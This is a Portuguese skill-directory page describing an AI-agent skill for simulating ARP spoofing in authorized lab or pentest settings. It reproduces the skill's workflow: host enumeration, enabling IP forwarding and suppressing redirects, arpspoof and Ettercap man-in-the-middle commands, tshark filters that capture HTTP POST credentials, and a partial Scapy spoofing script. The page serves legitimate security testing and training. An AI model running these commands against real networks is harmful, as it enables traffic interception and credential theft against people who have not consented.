Pular para o conteúdo
Skillpedia
Diversos35 mil · #6022

performing-arp-spoofing-attack-simulation

Faz seu agente simular ataques de ARP spoofing para testar a segurança da rede em ambientes controlados.

O que ela faz

Este recurso simula ataques de falsificação de ARP em redes de teste autorizadas. Ele ajuda a verificar se as defesas da rede, como firewalls e sistemas de detecção de intrusos, conseguem identificar e bloquear esse tipo de ataque.

Quando usar

  • ✓Testar a segurança de uma rede em laboratório antes de colocá-la em produção.
  • ✓Demonstrar como um ataque de 'man-in-the-middle' pode funcionar para sua equipe.
  • ✓Verificar se seus sistemas de monitoramento de rede alertam sobre atividades suspeitas.

Exemplo do que pedir para a IA

“Simule um ataque de falsificação de ARP na minha rede de testes para ver se o IDS detecta.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ele funciona enganando dispositivos na rede para que enviem dados através do seu computador, em vez de irem diretamente ao destino. Isso permite observar se os sistemas de segurança percebem essa mudança.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-arp-spoofing-attack-simulation

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Simulação de Ataque de ARP Spoofing

Quando Usar

  • Testar se switches de rede e infraestrutura implementam corretamente a Inspeção Dinâmica de ARP (DAI)
  • Demonstrar riscos de ataque man-in-the-middle para stakeholders durante avaliações de segurança autorizadas
  • Validar que ferramentas de monitoramento de rede (IDS/IPS, SIEM) detectam tentativas de envenenamento de cache ARP
  • Avaliar a eficácia de controles de segurança de porta, 802.1X e segmentação de VLAN
  • Treinar analistas de SOC para reconhecer indicadores de ARP spoofing no tráfego de rede

Não use em redes de produção sem autorização escrita explícita e um plano de reversão, contra redes que transportam tráfego crítico ou de segurança de vida, ou como um vetor de ataque de negação de serviço.

Pré-requisitos

  • Autorização escrita especificando os segmentos de rede em escopo para a simulação de ARP spoofing
  • Kali Linux ou distribuição similar de testes de penetração com arpspoof, Ettercap e Scapy instalados
  • Acesso direto na Camada 2 ao segmento de rede alvo (mesma VLAN dos hosts alvo)
  • Conhecimento de encaminhamento de IP e capacidade de habilitar/desabilitar o encaminhamento de pacotes na máquina atacante
  • Wireshark ou tcpdump para capturar tráfego e verificar a interceptação
  • Ambiente de laboratório isolado ou janela de teste de produção aprovada

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1: Enumerar o Segmento de Rede Alvo

# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0

# Identify target hosts and their MAC addresses
arp-scan -l -I eth0

# Verify the current ARP table
arp -a

# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup

Etapa 2: Habilitar Encaminhamento de IP

# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1

# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1

# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

Etapa 3: Executar ARP Spoofing com arpspoof

# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

Etapa 4: Capturar e Analisar Tráfego Interceptado

# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap

Etapa 5: Demonstrar Impacto com Scapy (Pacotes ARP Personalizados)

#!/usr/bin/env python3
"""Demonstração de ARP spoofing usando Scapy para testes de segurança autorizados."""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """Resolve IP para endereço MAC via requisição ARP."""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """Envia resposta ARP falsificada para o alvo."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """Restaura entradas ARP legítimas."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)

…
Perguntas frequentes

Posso usar isso na minha rede normal?

Não, este recurso só deve ser usado em ambientes de laboratório ou em redes de produção com permissão explícita e um plano para reverter as mudanças. Usá-lo sem autorização é ilegal.

O que é falsificação de ARP?

É uma técnica onde um atacante envia mensagens falsas para a rede, associando o endereço MAC do atacante ao endereço IP de outro dispositivo (como o roteador). Isso faz com que o tráfego seja enviado para o atacante.

Quais ferramentas são usadas?

As ferramentas comuns incluem arpspoof, Ettercap e Scapy, que são programas especializados em manipulação de rede.

Detalhes

Descrição original do autor

Simulates ARP spoofing/cache-poisoning attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risk and validate Dynamic ARP Inspection, port security, and network monitoring detections. Use when testing whether switches, IDS/IPS, or a SIEM detect ARP spoofing under written authorization; do not use on production networks without expli

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6022
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas